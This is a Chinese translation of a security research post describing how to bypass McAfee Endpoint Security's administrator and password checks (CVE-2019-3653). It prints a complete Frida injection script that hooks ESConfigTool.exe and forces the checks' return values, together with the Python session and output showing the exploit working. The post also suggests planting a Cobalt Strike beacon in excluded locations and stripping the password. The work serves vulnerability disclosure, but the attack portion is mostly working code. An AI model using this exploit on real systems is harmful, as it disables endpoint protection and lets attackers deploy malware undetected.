快捷搜索:  汽车  科技

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\admin>cd \temp C:\temp>frida-server-12.7.9-windows-x86_64.exe Python机器:Python 3.6.7 (default Oct 22 2018 11:32:17) [GCC 8.2.0] on linux Type "help" "copyright" "credits" or "license" for more information. >>> import frida >>> devmgr = frida.get_device_manager() >&

这一次返回值必须是0以外的任何值。

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件(1)

OK,又成功了!

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件(2)

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!

自动运行

到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。

McAfee机器:

Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\admin>cd \temp C:\temp>frida-server-12.7.9-windows-x86_64.exe Python机器:

Python 3.6.7 (default Oct 22 2018 11:32:17) [GCC 8.2.0] on linux Type "help" "copyright" "credits" or "license" for more information. >>> import frida >>> devmgr = frida.get_device_manager() >>> devmgr.add_remote_device('192.168.31.150') Device(id="tcp@192.168.31.150" name="192.168.31.150" type='remote') >>> rdev = frida.get_device('tcp@192.168.31.150') >>> args = [ ... 'ESConfigTool.exe' ... '/export' ... 'frida-export.xml' ... '/module' ... 'ESP' ... '/unlock' ... 'startrek' ... '/plaintext' ... ] >>> pid = rdev.spawn(args) >>> session = rdev.attach(pid) >>> session Session(pid=11168)

现在我们已经连接上,ESConfigTool.exe也正在运行!

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件(3)

现在我们可以将JS代码注入到ESConfigTool进程中。

Frida脚本

我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress('ESConfigTool.exe'); //const adminCheck = configbase.add(0x5240); //32 const adminCheck = configbase.add(0x5f30); //64 const BLInvokeMethod = Module.findExportByName('blframework.dll' 'BLInvokeMethod') console.log('[-] base address is:' configbase); console.log('[-] Admin check is:' adminCheck); console.log('[-] BLInvokeMethod:' BLInvokeMethod); Interceptor.attach(adminCheck { onEnter: function (args) { console.log('[ ] Hooked admin check function'); } onLeave: function (retval) { console.log('[ ] Returning true for admin check'); retval.replace(1); } }); Interceptor.attach(BLInvokeMethod { onEnter: function (args) { console.log('[ ] Hooked BLInvokeMethod function'); } onLeave: function (retval) { console.log('[ ] Patching password check function'); retval.replace(0x0); } });

这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = """ ... const configbase = Module.findbaseAddress('ESConfigTool.exe'); ... //const adminCheck = configbase.add(0x5240); //32 ... const adminCheck = configbase.add(0x5f30); //64 ... const BLInvokeMethod = Module.findExportByName('blframework.dll' 'BLInvokeMethod') ... ... console.log('[-] base address is:' configbase); ... console.log('[-] Admin check is:' adminCheck); ... console.log('[-] BLInvokeMethod:' BLInvokeMethod); ... ... Interceptor.attach(adminCheck { ... onEnter: function (args) { ... console.log('[ ] Hooked admin check function'); ... } ... onLeave: function (retval) { ... console.log('[ ] Returning true for admin check'); ... retval.replace(1); ... } ... }); ... ... Interceptor.attach(BLInvokeMethod { ... onEnter: function (args) { ... console.log('[ ] Hooked BLInvokeMethod function'); ... } ... onLeave: function (retval) { ... console.log('[ ] Patching password check function'); ... retval.replace(0x0); ... } ... }); ... ... """ >>> session.create_script(script).load() [-] base address is: 0x7ff73ed30000 [-] Admin check is: 0x7ff73ed35f30 [-] BLInvokeMethod: 0x7ffa4d759730 >>> rdev.resume(pid) >>> [ ] Hooked admin check function [ ] Returning true for admin check [ ] Hooked BLInvokeMethod function [ ] Patching password check function >>>

最终结果如下:

如何关掉迈克菲杀毒软件:利用Mcafee管理工具绕过McAfee杀毒软件(4)

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。

后续

现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

猜您喜欢: